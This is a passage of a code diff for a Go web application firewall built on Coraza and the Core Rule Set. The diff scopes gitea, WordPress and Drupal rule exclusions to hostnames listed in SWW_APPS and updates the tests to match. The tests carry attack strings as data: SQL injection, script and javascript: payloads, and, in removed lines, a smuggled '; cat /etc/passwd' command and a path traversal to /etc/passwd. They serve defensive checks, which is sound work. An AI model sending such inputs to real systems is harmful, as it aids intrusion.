"context"
"encoding/json" "encoding/json"
"fmt" "fmt"
"math/rand/v2"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
"net/netip" "net/netip"
@@ -38,12 +36,14 @@ var loaded = struct {
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}} }{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params // loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for. // once, making it the first time params are asked for. %#v writes a nil
// Apps, which gives every app's fixes, apart from an empty one, which
// gives none.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) { func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock() loaded.Lock()
defer loaded.Unlock() defer loaded.Unlock()
settings := fmt.Sprintf("%+v", params) settings := fmt.Sprintf("%#v", params)
load, found := loaded.loaders[settings] load, found := loaded.loaders[settings]
if !found { if !found {
@@ -157,9 +157,10 @@ func inspectBody(
} }
for _, header := range r.headers { for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers. // Go's server keeps Host and Transfer-Encoding out of the headers,
// whatever their case.
name, value, _ := strings.Cut(header, ": ") name, value, _ := strings.Cut(header, ": ")
switch name { switch http.CanonicalHeaderKey(name) {
case "Host": case "Host":
req.Host = value req.Host = value
case "Transfer-Encoding": case "Transfer-Encoding":
@@ -204,8 +205,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
} }
// wantChange checks that crs lets through passes, a request one of the // wantChange checks that crs lets through passes, a request one of the
// fourteen changes is for, and still finds result in refused, a request like // six changes or an app's fixes are for, and still finds result in
// it that the change is not for. // refused, a request like it that they are not for.
func wantChange( func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request, t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result, result coreruleset.Result,
@@ -466,6 +467,123 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
matched(930120, 932160)) matched(930120, 932160))
} }
// giteaFixed are gitea requests that only gitea's fixes let through, one
// for each kind of fix, each with what the Core Rule Set finds in it
// without them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaFixed = []struct {
request request
result coreruleset.Result
}{
// A search of code, on the path of gitea's search.
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
// A file name, in a parameter gitea sends names in, on any path.
{get("/?path=.gitignore"), matched(930120)},
// A file name, in a cookie of gitea's.
{
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
}
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
// one that serves another app.
const (
giteaHost = "git.example"
otherHost = "blog.example"
)
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
// wordpress is WordPress's name in SWW_APPS.
const wordpress = "wordpress"
// withHost returns r sent to host.
func withHost(r request, host string) request {
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
}
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
// giving apps.
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
})
}
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, nil)
for _, fixed := range giteaFixed {
for _, host := range []string{giteaHost, otherHost} {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
// The hostname is matched without the port and without regard to case.
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
t.Parallel()
for _, apps := range []map[string][]string{
{giteaHost: {gitea}},
// SWW_APPS set empty lists no hostname.
{},
} {
crs := servingApps(t, apps)
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
}
}
}
}
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
// A search, which only WordPress's fixes let through.
search := get("/?s=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
// A file name that only gitea's fixes let through, and a search that only
// WordPress's fixes let through.
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
}
}
// withExclusions returns the Core Rule Set at the defaults, with the // withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path. // exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) { func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -626,275 +744,25 @@ const passwordField = "password="
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"} var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// randomPassword returns a password of 20 characters, each one of the 95
// printable ASCII characters, space included, drawn from random.
func randomPassword(random *rand.Rand) string {
const length = 20
var printable []byte
for c := byte(' '); c <= '~'; c++ {
printable = append(printable, c)
}
password := make([]byte, length)
for i := range password {
password[i] = printable[random.IntN(len(printable))]
}
return string(password)
}
// rarePasswords are random passwords from randomPasswords' seed, found among
// the first 1,000,000. Each sets off the rule named beside it, which the first
// 2,000 do not set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var rarePasswords = []string{
"x)g|E0f)~.um%00G]<oA", // 920270
"uC?mK\\U2fEbXA}~j7fPb", // 920540
"4;yfIDKZYNtZT)(w-=%@", // 921200
"`sAIfEVdBprjxR$/.?\\d", // 930100
"Unt@1xza,:%j$/..;5y+", // 930110
"VN.CVsu^3vbUS==4Q&Y@", // 930120
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
" /\"j14y[%\\(iM]zmG%=^", // 932130
"\\f*q5v$]$IfS3JoY:*r1", // 932160
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
"pErl>vR[Z7K^<f%_4,WZ", // 932260
"){2P,GU}a3mYvjq^(p1^", // 932280
"xw4UGJk!-8#ZE(`.ij.O", // 932330
" XVw(2mN5R,+%~_f\"n<?", // 933100
"0ZK1D>`RHb+RW${/(z}C", // 933135
"Ep3!qqe 7$RT(_)@SLV6", // 933180
"&:4WomDrn$\"(SE_D);Ja", // 933210
"='nlIgN7ON\\\\mWt=Tr84", // 941120
"P]/C>Ef]F-<sV,&gs.[4", // 941160
"<!--a\"9Ju}r!2=J-kZDd", // 941180
"@`].*EJ?`Cw^8\\orD!(f", // 942151
"StTj*t:IF(Uq_<aG0mya", // 942230
"t,D-oJjnvL Dn!o::Int", // 942320
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
"`aV#3${J4,\\h.q' k\\${", // 944150
}
// randomPasswords returns 2,000 random passwords from a fixed seed, then
// rarePasswords.
func randomPasswords() []string {
const count, seed = 2000, 276
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
passwords := make([]string, count, count+len(rarePasswords))
for i := range passwords {
passwords[i] = randomPassword(random)
}
return append(passwords, rarePasswords...)
}
// passwordBody returns a body of r's type, form data or JSON, that sends
// each of passwords in the field name. Coraza checks each value of a field
// on its own, and keeps every value of a JSON key sent more than once.
func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
t.Helper()
if r.headers[0] != jsonBody {
return formBody(name, passwords...)
}
values := make([]string, len(passwords))
for i, password := range passwords {
pair, err := json.Marshal(map[string]string{name: password})
if err != nil {
t.Fatal(err)
}
values[i] = strings.Trim(string(pair), "{}")
}
return "{" + strings.Join(values, ",") + "}"
}
// formBody returns a form data body that sends each of values in the field
// name.
func formBody(name string, values ...string) string {
fields := make([]string, len(values))
for i, value := range values {
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
}
return strings.Join(fields, "&")
}
// setsOffARule reports whether body, form data sent to / as a browser
// sends it, sets off a rule in crs.
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
"http://git.example/", strings.NewReader(body))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
// The body is read from memory, which cannot fail.
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
return len(result.RuleIDs) > 0
}
// findMisfiringPasswords returns those of randomPasswords that set off a
// rule in the form data field password on /, which no exclusion names, while
// bodies are read. It runs once, for every test that asks. Each body sends
// ten passwords, and a body that sets off a rule is sent again one password
// at a time.
//
//nolint:gochecknoglobals // the tests share it
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})()
if err != nil {
return nil, err
}
passwords := randomPasswords()
misfires := make([]bool, len(passwords))
var inspecting sync.WaitGroup
for worker := range workers {
inspecting.Go(func() {
for first := worker * perBody; first < len(passwords); first += workers * perBody {
last := min(first+perBody, len(passwords))
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
continue
}
for i := first; i < last; i++ {
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
}
}
})
}
inspecting.Wait()
var misfiring []string
for i, password := range passwords {
if misfires[i] {
misfiring = append(misfiring, password)
}
}
return misfiring, nil
})
// misfiringPasswords returns those of randomPasswords that set off a rule in
// a field no exclusion names. The rules that misfire on a password read its
// value, not the name of its field. So the other random passwords set off no
// rule in any field.
func misfiringPasswords(t *testing.T) []string {
t.Helper()
misfiring, err := findMisfiringPasswords()
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
for _, rare := range rarePasswords {
if !slices.Contains(misfiring, rare) {
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
}
}
return misfiring
}
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
// field name of r's body, is refused while bodies are read. r's Content-Type
// is form data or JSON. Only the passwords misfiringPasswords returns set off
// a rule in some field, so only they are sent, all in one body. If it is
// refused, each is sent again on its own, to name those refused.
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
misfiring := misfiringPasswords(t)
body := passwordBody(t, r, name, misfiring...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
return
}
for _, password := range misfiring {
body := passwordBody(t, r, name, password)
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
password, got)
}
}
}
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
// shell command and a script in an event handler, each sent as the whole
// password in the field name of r's body, pass while bodies are read.
func wantPasswordAttacksPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
"<img src=x onerror=x()>",
} {
body := passwordBody(t, r, name, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
attack, got)
}
}
}
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
// each sent as the whole password in the field name of r's body, are refused
// while bodies are read.
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
body := passwordBody(t, r, name, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
attack, got)
}
}
}
// wantRecordedRequestsPass checks that none of the recorded ordinary // wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and // requests in the file name in testdata is refused on example.com, where
// while bodies are read. A request with neither a body nor a Content-Type // they were recorded, while SWW_APPS lists only app for it. They are
// header is checked only at the defaults: with neither, the set that reads // checked at the defaults and while bodies are read. With SWW_APPS unset,
// bodies has nothing more to check. Each request runs as its own parallel // every app's fixes apply. These only switch checks off, so the requests
// subtest. // pass then too. A request with neither a body nor a Content-Type header is
func wantRecordedRequestsPass(t *testing.T, name string) { // checked only at the defaults: with neither, the set that reads bodies has
// nothing more to check. Each request runs as its own parallel subtest.
func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t) apps := map[string][]string{"example.com": {app}}
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
for _, recorded := range recordedRequests(t, name) { for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -930,10 +798,13 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
// The recorded requests pass on giteaHost with gitea's fixes alone. The
// attacks are refused at the defaults, where every app's fixes apply.
giteaOnly := servingApps(t, map[string][]string{giteaHost: {gitea}})
crs := atDefaults(t) crs := atDefaults(t)
for _, r := range giteaRequests(t) { for _, r := range giteaRequests(t) {
if got := inspect(t, crs, r); got.Score >= threshold { if got := inspect(t, giteaOnly, withHost(r, giteaHost)); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got) t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
} }
} }
@@ -1095,12 +966,22 @@ func wordpressAttackTargets(attack string) []string {
} }
} }
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) { // wantWordPressRequestsPass checks that the recorded ordinary WordPress
t.Parallel() // requests pass on otherHost, where they were recorded, while SWW_APPS lists
// only wordpress for it. They pass at the defaults, and those with a body
// pass while bodies up to 64 KiB are read too. Every app's fixes only switch
// checks off, so the requests pass with SWW_APPS unset too.
func wantWordPressRequestsPass(t *testing.T) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t) apps := map[string][]string{otherHost: {wordpress}}
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
Apps: apps,
})
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") { for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -1121,6 +1002,16 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
} }
}) })
} }
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
wantWordPressRequestsPass(t)
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, attack := range []string{ for _, attack := range []string{
sqlInjection, sqlInjection,
@@ -1607,16 +1498,6 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la") wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
} }
func TestWordPressPasswordsPass(t *testing.T) {
t.Parallel()
signIn := request{http.MethodPost, wpLogin, []string{formData}}
wantRandomPasswordsPass(t, signIn, "pwd")
wantPasswordAttacksPass(t, signIn, "pwd")
wantPasswordAttacksRefused(t, signIn, "pwd")
}
func TestWordPressExclusionsAreNarrow(t *testing.T) { func TestWordPressExclusionsAreNarrow(t *testing.T) {
t.Parallel() t.Parallel()
@@ -1674,9 +1555,6 @@ const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped. // scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>" const scriptTag = "<script>alert(1)</script>"
// pathTraversal is a path traversal, not escaped.
const pathTraversal = "../../etc/passwd"
// readingBodies returns the Core Rule Set as sww runs it by // readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit. // default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
+10 -41
View File
@@ -1,4 +1,4 @@
# The tenth change: on Drupal's paths, some fields skip the rules that refused # Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a # ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the # search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
@@ -25,6 +25,13 @@
# 932230: ls -la # 932230: ls -la
# 932235: python3 # 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to: # Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3 # title: /admin/content?title=python3
# name: /admin/content/media?name=python3 # name: /admin/content/media?name=python3
@@ -184,46 +191,6 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
# The password, pass, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
"id:900819,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
# A person's name and email address, when signing up, when editing an # A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused # account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address # signing up, and python3@example.com refused saving an account. An address
@@ -277,3 +244,5 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
SecRule &ARGS_GET:json.mail "@eq 0" \ SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail" ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
+18 -18
View File
@@ -5,6 +5,8 @@ import (
"net/url" "net/url"
"slices" "slices"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -34,7 +36,21 @@ const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) { func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt") wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
}
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
} }
// drupalAttacks are an SQL injection, a path traversal and a script // drupalAttacks are an SQL injection, a path traversal and a script
@@ -109,6 +125,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack}, {reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack}, {reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack}, {reply, drupalName + attack},
{drupalSignIn, "pass=" + attack},
{drupalSignIn, drupalName + attack}, {drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack}, {"/fr/user/login", drupalName + attack},
{"/user/register", drupalName + attack}, {"/user/register", drupalName + attack},
@@ -171,23 +188,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
} }
} }
func TestDrupalPasswordPasses(t *testing.T) {
t.Parallel()
for _, r := range []request{
{http.MethodPost, drupalSignIn, []string{formData}},
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
} {
t.Run(r.target, func(t *testing.T) {
t.Parallel()
wantRandomPasswordsPass(t, r, "pass")
wantPasswordAttacksPass(t, r, "pass")
wantPasswordAttacksRefused(t, r, "pass")
})
}
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel() t.Parallel()
+56 -7
View File
@@ -1,8 +1,55 @@
# The eighth change: on gitea's paths, some fields skip the rules that refused # gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
# ordinary gitea requests there. They are the fields where gitea sends a search, # They are the fields where gitea sends a search, a file name or a branch name.
# a file name or a branch name. Each exclusion runs with the request, before the # Each exclusion runs with the request, before the rules it switches off, those
# rules it switches off, those of phase 1 included, so this file is loaded before # of phase 1 included, so this file is loaded before the Core Rule Set's rules.
# the Core Rule Set's rules. Each comment names a request the rule refused. # Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
# ARGS holds the fields of a form data or multipart body Coraza reads as well
# as the query parameters, so a field of these names is left out too.
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# gitea's searches of code, of issues and pull requests, and of commits send the # gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there: # text searched for in q, which skips these rules there:
@@ -163,8 +210,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql # 942140: information_schema.sql
# 944110: java/lang/Runtime.java # 944110: java/lang/Runtime.java
# 944130: java.lang.String.md # 944130: java.lang.String.md
# Each request skips the rules that refused it. The fourth change already has # Each request skips the rules that refused it. Rule 900591 already has path and
# path and redirect_to skip 930120, 932160 and 932260 on every path. # redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file. # A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -289,3 +336,5 @@ SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \ "@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
